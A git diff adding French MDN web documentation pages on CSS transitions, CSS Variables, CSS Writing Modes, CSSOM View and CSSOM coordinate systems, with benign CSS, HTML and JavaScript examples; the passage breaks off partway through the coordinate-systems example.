+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_stepend",275,150)}}</div>
+ </div>
+
+ <div id="ttf_step4end" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-timing-function: steps(4, end)</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent { width: 250px; height:125px;}
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: steps(4, end);
+}
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-timing-function: steps(4, end);
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-timing-function: steps(4, end);
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("ttf_step4end",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+ <dt>{{cssxref("transition-delay")}}</dt>
+ <dd>Cette propriété indique le temps à attendre entre le moment où la propriété est modifiée et le début de la transition.
+ <div>
+ <div id="delay_0_5s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 0.5s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 0.5s;
+    transition-timing-function: linear;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top:25px;
+    position: absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 0.5s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 0.5s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_0_5s",275,150)}}</div>
+ </div>
+
+ <div id="delay_1s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 1s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+     -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 1s;
+    transition-timing-function: linear;
+}
+
+.box1{
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 1s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 1s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_1s",275,150)}}</div>
+ </div>
+
+ <div id="delay_2s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 2s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 2s;
+    transition-timing-function: linear;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 2s;
+    -webkit-transition-timing-function: linear;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 2s;
+    transition-timing-function: linear;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_2s",275,150)}}</div>
+ </div>
+
+ <div id="delay_4s" style="width: 251px; display: inline-block; margin-right: 1px; margin-bottom: 1px;">
+ <p><code>transition-delay: 4s</code></p>
+
+ <div style="display: none;">
+ <pre class="brush:html"> &lt;div class="parent"&gt;
+  &lt;div class="box"&gt;Lorem&lt;/div&gt;
+&lt;/div&gt;
+  </pre>
+
+ <pre class="brush: css">.parent {
+    width: 250px;
+    height: 125px;
+}
+
+.box {
+    width: 100px;
+    height: 100px;
+    background-color: red;
+    font-size: 20px;
+    left: 0px;
+    top: 0px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 4s;
+    transition-timing-function: ease-in-out;
+}
+
+.box1 {
+    width: 50px;
+    height: 50px;
+    background-color: blue;
+    color: yellow;
+    font-size: 18px;
+    left: 150px;
+    top: 25px;
+    position: absolute;
+    -webkit-transition-property: width height background-color font-size left top color;
+    -webkit-transition-duration: 2s;
+    -webkit-transition-delay: 4s;
+    -webkit-transition-timing-function: ease-in-out;
+    transition-property: width height background-color font-size left top color;
+    transition-duration: 2s;
+    transition-delay: 4s;
+    transition-timing-function: ease-in-out;
+}
+</pre>
+
+ <pre class="brush:js">function updateTransition() {
+  var el = document.querySelector("div.box");
+
+  if (el) {
+    el.className = "box1";
+  } else {
+    el = document.querySelector("div.box1");
+    el.className = "box";
+  }
+
+  return el;
+}
+
+var intervalID = window.setInterval(updateTransition, 7000);
+</pre>
+ </div>
+
+ <div>{{EmbedLiveSample("delay_4s",275,150)}}</div>
+ </div>
+ </div>
+ </dd>
+</dl>
+
+<p>La syntaxe de la propriété raccourcie {{cssxref("transition")}} est :</p>
+
+<pre class="brush: css">div {
+  transition: &lt;property&gt; &lt;duration&gt; &lt;timing-function&gt; &lt;delay&gt;;
+}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Un_exemple_simple">Un exemple simple</h3>
+
+<p>Avec cette feuille de style, on opère une transition CSS sur la taille de police de quatre secondes après deux secondes écoulées lorsque l'utilisateur passe la souris sur l'élément :</p>
+
+<pre class="brush: css">#delay {
+  font-size: 14px;
+  transition-property: font-size;
+  transition-duration: 4s;
+  transition-delay: 2s;
+}
+
+#delay:hover {
+  font-size: 36px;
+}</pre>
+
+<h3 id="Appliquer_une_transition_sur_plusieurs_propriétés">Appliquer une transition sur plusieurs propriétés</h3>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css; highlight:[8,9]">.box {
+  border-style: solid;
+  border-width: 1px;
+  display: block;
+  width: 100px;
+  height: 100px;
+  background-color: #0000FF;
+  transition: width 2s, height 2s, background-color 2s, transform 2s;
+}
+
+.box:hover {
+  background-color: #FFCCCC;
+  width: 200px;
+  height: 200px;
+  transform: rotate(180deg);
+}
+</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html; highlight:[3]">&lt;p&gt;Cette boîte utilisera des transitions pour width, height, background-color, transform.
+   Survolez cette boîte pour voir l'effet.&lt;/p&gt;
+&lt;div class="box"&gt;&lt;/div&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Appliquer_une_transition_sur_plusieurs_propriétés', 600, 300)}}</p>
+
+<h3 id="Le_rôle_de_la_taille_des_listes_de_valeurs">Le rôle de la taille des listes de valeurs</h3>
+
+<p>Si la liste des valeurs pour une propriété est plus courte qu'une autre, les valeurs de la liste la plus courte seront répétées pour que la longueur réelle corresponde. Ainsi :</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s;
+}
+</pre>
+
+<p>Sera équivalent à :</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left, top, height;
+  transition-duration: 3s, 5s, 3s, 5s;
+}</pre>
+
+<p>De même, si la liste est trop longue par rapport à {{cssxref("transition-property")}}, elle sera tronquée. Ainsi,</p>
+
+<pre class="brush: css">div {
+ transition-property: opacity, left;
+ transition-duration: 3s, 5s, 2s, 1s;
+}</pre>
+
+<p>Sera équivalent à :</p>
+
+<pre class="brush: css">div {
+  transition-property: opacity, left;
+  transition-duration: 3s, 5s;
+}</pre>
+
+<h3 id="Utiliser_les_transitions_pour_accentuer_les_éléments_pour_un_menu">Utiliser les transitions pour accentuer les éléments pour un menu</h3>
+
+<p>On utilise parfois CSS pour mettre en avant les éléments d'un menu lorsque l'utilisateur les survole avec sa souris. On peut facilement utiliser les transitions CSS pour améliorer l'effet obtenu.</p>
+
+<p>Tout d'abord, on définit le menu en HTML :</p>
+
+<pre class="brush: html">&lt;nav&gt;
+  &lt;a href="#"&gt;Accueil&lt;/a&gt;
+  &lt;a href="#"&gt;À propos&lt;/a&gt;
+  &lt;a href="#"&gt;Contact&lt;/a&gt;
+  &lt;a href="#"&gt;Liens&lt;/a&gt;
+&lt;/nav&gt;
+</pre>
+
+<p>On construit le CSS pour définir l'apparence du menu :</p>
+
+<pre class="brush: css">a {
+  color: #fff;
+  background-color: #333;
+  transition: all 1s ease-out;
+}
+
+a:hover,
+a:focus {
+  color: #333;
+  background-color: #fff;
+}</pre>
+
+<pre class="brush: css hidden">html,
+body {
+  margin: 0;
+  padding: 0;
+}
+
+nav {
+  display: flex;
+  padding: 12px;
+  background-color: #333;
+}
+
+a {
+  width: 100px;
+  border: 1px solid #fff;
+  border-radius: 18px;
+  outline: 0;
+  padding: 8px 12px;
+  text-align: center;
+  text-decoration: none;
+  font: bold 12px Verdana;
+}
+
+a:not(:last-child) {
+  margin-right: 12px;
+}
+</pre>
+
+<p>Ainsi, lorsque la souris survole l'élément, la couleur du texte et de l'arrière-plan change.</p>
+
+<p>{{EmbedLiveSample("Utiliser_les_transitions_pour_accentuer_les_éléments_pour_un_menu","300","300")}}</p>
+
+<h2 id="Exemples_avec_JavaScript">Exemples avec JavaScript</h2>
+
+<h3 id="Utiliser_les_transitions_CSS_pour_lisser_les_transformations_avec_JavaScript">Utiliser les transitions CSS pour lisser les transformations avec JavaScript</h3>
+
+<p>Les transitions permettent de lisser les opérations effectuées avec JavaScript. Par exemple :</p>
+
+<pre class="brush: html">&lt;p&gt;Click anywhere to move the ball&lt;/p&gt;
+&lt;div id="foo"&gt;&lt;/div&gt;
+</pre>
+
+<p>Avec JavaScript on peut ajouter un effet de mouvement sur la balle :</p>
+
+<pre class="brush: js">var f = document.getElementById('foo');
+document.addEventListener('click', function(ev){
+    f.style.transform = 'translateY('+(ev.clientY-25)+'px)';
+    f.style.transform += 'translateX('+(ev.clientX-25)+'px)';
+},false);
+</pre>
+
+<p>Avec CSS, il suffit d'ajouter une transition à l'élément et chaque modification sera appliquée de façon régulière :</p>
+
+<pre class="brush: css">p {
+  padding-left: 60px;
+}
+
+#foo {
+  border-radius: 50px;
+  width: 50px;
+  height: 50px;
+  background: #c00;
+  position: absolute;
+  top: 0;
+  left: 0;
+  transition: transform 1s;
+}
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/9h261pzo/291/")}}</p>
+
+<h3 id="Détecter_le_début_et_la_fin_d'une_transition">Détecter le début et la fin d'une transition</h3>
+
+<p>L'évènement {{event("transitionend")}} est déclenché lorsqu'une transition est terminée. C'est un objet {{domxref("TransitionEvent")}} qui possède deux propriétés supplémentaires qu'un {{domxref("Event")}} :</p>
+
+<dl>
+ <dt><code>propertyName</code></dt>
+ <dd>Une chaîne de caractères qui indique le nom de la propriété CSS pour laquelle la transition est terminée.</dd>
+ <dt><code>elapsedTime</code></dt>
+ <dd>Un nombre flottant qui indique le nombre de secondes durant lesquelles la transition s'est déroulée. Cette valeur n'est pas modifiée par la valeur de {{cssxref("transition-delay")}}.</dd>
+</dl>
+
+<p>Comme pour les différents évènements, on pourra utiliser {{domxref("eventtarget.addEventListener()")}}) pour « écouter » cet événement :</p>
+
+<pre class="brush: js">el.addEventListener("transitionend", updateTransition, true);
+</pre>
+
+<p>Pour détecter le début d'une transition, on pourra utiliser l'évènement {{event("transitionrun")}} qui est déclenché avant tout retardement et l'évènement {{event("transitionstart")}} qui est déclenché après tout retardement :</p>
+
+<pre class="brush: js">el.addEventListener("transitionrun", signalStart, true);
+el.addEventListener("transitionstart", signalStart, true);</pre>
+
+<div class="note"><strong>Note :</strong> L'événement <code>transitionend</code> n'est pas déclenché si la transition est interrompue avant la fin de la transition si {{cssxref("display")}}<code>: none</code> ou si la valeur de la propriété est modifiée.</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '', '')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("TransitionEvent")}} et l'événement {{event("transitionend")}}</li>
+ <li><a href="/fr/docs/Web/CSS/Animations_CSS/Utiliser_les_animations_CSS">Utiliser les animations CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/css_variables/index.html b/files/fr/web/css/css_variables/index.html
new file mode 100644
index 0000000000..7d439c68e8
--- /dev/null
+++ b/files/fr/web/css/css_variables/index.html
@@ -0,0 +1,42 @@
+---
+title: CSS Custom Properties for Cascading Variables
+slug: Web/CSS/CSS_Variables
+tags:
+  - Aperçu
+  - CSS
+  - CSS Variables
+  - Reference
+translation_of: Web/CSS/CSS_Variables
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Custom Properties for Cascading Variables</strong></em> ou « module des propriétés personnalisées pour les variables CSS » est un module de la spécification CSS qui permet de créer des propriétés personnalisées afin de les utiliser à plusieurs endroits, sans avoir à répéter de valeurs.</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("--*")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Variables")}}</td>
+   <td>{{Spec2("CSS3 Variables")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/css_writing_modes/index.html b/files/fr/web/css/css_writing_modes/index.html
new file mode 100644
index 0000000000..7671959e67
--- /dev/null
+++ b/files/fr/web/css/css_writing_modes/index.html
@@ -0,0 +1,57 @@
+---
+title: CSS Writing Modes
+slug: Web/CSS/CSS_Writing_Modes
+tags:
+  - Aperçu
+  - CSS
+  - CSS Writing Modes
+  - Reference
+translation_of: Web/CSS/CSS_Writing_Modes
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSS Writing Modes</strong></em> (ou modes d'écriture CSS) est un module qui définit différents modes d'écriture internationaux comme l'écriture de gauche à droite (e.g. utilisée par les langues latines et indiennes), de droite à gauche (e.g. utilisée par l'hébreu ou l'arabe), bidirectionnelle (utilisée quand il y a à la fois des écritures de gauche à droite et de droite à gauche sont ) et verticale (e.g. utilisée par certains écrits asiatiques).</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("direction")}}</li>
+ <li>{{cssxref("glyph-orientation-horizontal")}}</li>
+ <li>{{cssxref("text-combine-upright")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+ <li>{{cssxref("unicode-bidi")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Writing Modes')}}</td>
+   <td>{{Spec2('CSS3 Writing Modes')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'text.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/cssom_view/index.html b/files/fr/web/css/cssom_view/index.html
new file mode 100644
index 0000000000..933d8f1245
--- /dev/null
+++ b/files/fr/web/css/cssom_view/index.html
@@ -0,0 +1,56 @@
+---
+title: CSSOM View
+slug: Web/CSS/CSSOM_View
+tags:
+  - Aperçu
+  - CSS
+  - CSSOM
+  - CSSOM View
+  - Reference
+translation_of: Web/CSS/CSSOM_View
+---
+<div>{{CSSRef}}</div>
+
+<p><em><strong>CSSOM View</strong></em> (ou <strong>Vue CSSOM</strong>) est un module de la spécification CSS qui définit comment manipuler la vue d'un document et notamment le comportement lors du défilement (<em>scrolling</em>).</p>
+
+<h2 id="Référence">Référence</h2>
+
+<h3 id="Propriétés">Propriétés</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("scroll-behavior")}}</li>
+</ul>
+</div>
+
+<h2 id="Guide">Guide</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/CSSOM_View/Systèmes_de_coordonnées">Les systèmes de coordonnées</a></dt>
+ <dd>Un guide à propos des différents systèmes de coordonnées permettant de définir une position dans un contexte d'affichage : que ce soit un écran, une zone d'affichage, un appareil mobile ou bien une position sur une feuille de papier lors de l'impression.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM View')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.scroll-behavior")}}</p>
diff --git a/files/fr/web/css/cssom_view/systèmes_de_coordonnées/index.html b/files/fr/web/css/cssom_view/systèmes_de_coordonnées/index.html
new file mode 100644
index 0000000000..543167b1b6
--- /dev/null
+++ b/files/fr/web/css/cssom_view/systèmes_de_coordonnées/index.html
@@ -0,0 +1,183 @@
+---
+title: Systèmes de coordonnées
+slug: Web/CSS/CSSOM_View/Systèmes_de_coordonnées
+tags:
+  - CSS
+  - CSSOM
+  - Coordonnées
+  - Guide
+translation_of: Web/CSS/CSSOM_View/Coordinate_systems
+---
+<div>{{cssref}}</div>
+
+<p>Lorsqu'on définit l'emplacement d'un pixel dans un contexte graphique, on indique les coordonnées de ce point par rapport à un point fixe du contexte qu'on appelle l'origine. La position du pixel est donc indiquée comme le décalage de ce pixel par rapport à l'origine, sur les deux axes du plan.</p>
+
+<p>Ce guide décrit les systèmes de coordonnées standard utilisés par le modèle objet de CSS. Les différences entre ces systèmes résident principalement dans l'emplacement de l'origine.</p>
+
+<h2 id="Dimensions">Dimensions</h2>
+
+<p>Pour les systèmes de coordonnées utilisés sur le Web, on prend comme convention qu'un décalage horizontal est appelé coordonnée en X (une valeur négative indique une position à gauche de l'origine et une valeur positive indique une position à droite de l'origine) et qu'un décalage vertical est appelé coordonnée en Y (une valeur négative indique une position au dessus de l'origine et une valeur positive indique une position en dessous de l'origine).</p>
+
+<p>L'origine par défaut, dans les contextes relatifs au Web, est située dans le coin supérieur gauche avec les valeurs verticales positives se situant sous l'origine. Ceci est donc différent des représentations mathématiques généralement utilisées où l'origine se situe en bas à gauche et où les valeurs positives en Y sont situées au dessus de l'origine.</p>
+
+<p>Lorsqu'on dessine des graphiques en trois dimensions ou lorsqu'on utilise une troisième dimension pour empiler des objets de l'avant vers l'arrière, on utilise la coordonnée en Z. Celle-ci correspond à la distance entre le spectateur et l'objet. Elle est positive si l'objet est plus éloigné du spectateur que l'origine et négative s'il est plus proche.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Il est en fait possible de modifier les définitions et les orientations de ces systèmes de coordonnées grâce à des propriétés CSS telles que {{cssxref("transform")}}. Toutefois, nous évoquerons uniquement le système de coordonnées standard.</p>
+</div>
+
+<h2 id="Les_systèmes_de_coordonnées_CSSOM_standard">Les systèmes de coordonnées CSSOM standard</h2>
+
+<p>Il existe quatre systèmes de coordonnées standard utilisé par le modèle objet de CSS.</p>
+
+<h3 id="Offset"><em>Offset</em></h3>
+
+<p>Les coordonnées indiquées selon ce modèle se situent relativement au coin supérieur gauche de l'élément qu'on examine ou qui a déclenché un évènement.</p>
+
+<p>Ainsi, lorsqu'un {{domxref("MouseEvent", "évènement de souris", "", 1)}} se produit, la position de la souris telle qu'indiquée par les {{domxref("MouseEvent.offsetX", "offsetX")}} et {{domxref("MouseEvent.offsetY", "offsetY")}} est relative au coin supérieur gauche de l'élément sur lequel l'évènement a été produit. L'origine de ce système est décalée vers l'intérieure de la boîte de l'élément selon les distances fournies pour {{cssxref("padding-left")}} et {{cssxref("padding-top")}}.</p>
+
+<h3 id="Client">Client</h3>
+
+<p>Ce système de coordonnées utilise le coin supérieur gauche de la zone d'affichage (<em>viewport</em>) ou du contexte de navigation comme origine.</p>
+
+<p>Sur un ordinateur de bureau, par exemple, les propriétés {{domxref("MouseEvent.clientX")}} et {{domxref("MouseEvent.clientY")}} indiquent la position du curseur de la souris au moment où l'évènement se produit et relativement au coin supérieur gauche de la fenêtre du navigateur. Le coin supérieur gauche de la zone d'affichage fournie par la fenêtre est toujours situé en (0, 0), quel que soit le contenu du document et peu importe le défilement ayant eu lieu. Autrement dit, le défilement du document modifiera les coordonnées d'un élément donné du document.</p>
+
+<h3 id="Page">Page</h3>
+
+<p>Ce système de coordonnées fournit la position d'un pixel par rapport au coin supérieur gauche de tout le {{domxref("Document")}} sur lequel le pixel est situé. Cela signifie qu'un point donné sur un élément conservera les mêmes coordonnées sur la page (sauf si l'élément est déplacé avec un changement de position ou à cause de l'ajout d'autres éléments sur la page ou à cause d'un redimensionnement d'un autre élément par exemple).</p>
+
+<p>Les propriétés pour les évènements de la souris {{domxref("MouseEvent.pageX", "pageX")}} et {{domxref("MouseEvent.pageY", "pageY")}} fournissent la position de la souris au moment de l'évènement, relativement au coin supérieur gauche du document.</p>
+
+<h3 id="Écran">Écran</h3>
+
+<p>Pour le système de coordonnées lié à l'écran, l'origine est situé dans le coin supérieur gauche de l'écran. Cela signifie que la position d'un point donné évoluera si l'utilisateur déplace la fenêtre du navigateur ou s'il change de résolution (voire s'il ajoute des écrans).</p>
+
+<p>Les propriétés {{domxref("MouseEvent.screenX")}} et {{domxref("MouseEvent.screenY")}} fournissent les coordonnées de la souris lors de l'évènement, relativement à l'origine de l'écran.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple simple, nous allons créé un ensemble de boîtes imbriquées. Lorsque la souris entrera sur la surface de ces boîtes, se déplacera ou quittera la surface correspondante, l'évènement déclenché est géré afin de mettre à jour les messages informatifs au sein de la boîte pour afficher les différentes coordonnées du pointeur selon les quatre systèmes de coordonnées.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Décomposons ce script en deux parties. Dans la première, le code permet d'afficher les coordonnées à l'écran. Ce code sera appelé par le gestionnaire d'évènements pour les différents évènements liés à la souris et qui nous intéressent ici.</p>
+
+<h4 id="Afficher_les_coordonnées">Afficher les coordonnées</h4>
+
+<p>Comme nous le verrons après avec le code HTML, la boîte interne (celle sur laquelle on écoute les évènements) contient plusieurs paragraphes : un pour chacun des systèmes de coordonnées.</p>
+
+<pre class="brush: js">let inner = document.querySelector(".inner");
+let log = document.querySelector(".log");
+
+function setCoords(e, type) {
+  let idX = type + "X";
+  let idY = type + "Y";
+
+  document.getElementById(idX).innerText = e[idX];
+  document.getElementById(idY).innerText = e[idY];
+}
+</pre>
+
+<p>Dans <code>inner</code> On récupère une référence à l'élément {{HTMLElement("div")}} situé dans la boîte intérieure et qui contient les paragraphes qui serviront à afficher les informations liées aux coordonnées.</p>
+
+<p>La fonction <code>setCoords()</code> prend en charge deux arguments : l'évènement {{domxref("MouseEvent")}} ainsi que le nom de l'origine utilisée pour obtenir les coordonnées. Les variables <code>idX</code> et <code>idY</code> sont des chaînes de caractères correspondant aux noms des propriétés à utiliser dans le système de coordonnées. Par exemple, si <code>type</code> vaut <code>"page"</code>, alors <code>idX</code> vaudra <code>"pageX"</code> et <code>idY</code> vaudra <code>"pageY"</code>.</p>
+
+<h4 id="Gérer_les_évènements_liés_à_la_souris">Gérer les évènements liés à la souris</h4>
+
+<p><code>setCoords()</code> est appelé par le gestionnaire d'évènements <code>update()</code> qui est lui même utilisé sur les différents évènements :</p>
+
+<pre class="brush: js">function update(e) {
+  setCoords(e, "offset");
+  setCoords(e, "client");
+  setCoords(e, "page");
+  setCoords(e, "screen");
+}
+
+inner.addEventListener("mouseenter", update, false);
+inner.addEventListener("mousemove", update, false);
+inner.addEventListener("mouseleave", update, false);</pre>
+
+<p>Le gestionnaire d'évènement <code>update()</code> appelle <code>setCoords()</code> pour chacun des systèmes de coordonnées et lui repasse en argument l'évènement qui s'est produit.</p>
+
+<p>Les trois dernières lignes correspondent à l'enregistrement du gestionnaire d'évènements sur la boîte intérieure grâce aux appels de {{domxref("EventTarget.addEventListener", "addEventListener()")}} pour chaque type d'évènement : {{event("mouseenter")}}, {{event("mousemove")}} et {{event("mouseleave")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Voici le code HTML utilisé pour l'exemple. On notera qu'à l'intérieur de l'élément <code>&lt;div&gt;</code> avec l'identifiant <code>"log"</code>, on dispose d'un paragraphe pour chaque système de coordonnées. Un élément {{domxref("span")}} est utilisé pour chaque paragraphe afin de recevoir et d'afficher les coordonnées dans le système concerné.</p>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;div class="inner"&gt;
+    &lt;div class="log"&gt;
+      &lt;p&gt;
+        Système de coordonnées Offset : &lt;span id="offsetX"&gt;0&lt;/span&gt;,
+        &lt;span id="offsetY"&gt;0&lt;/span&gt;
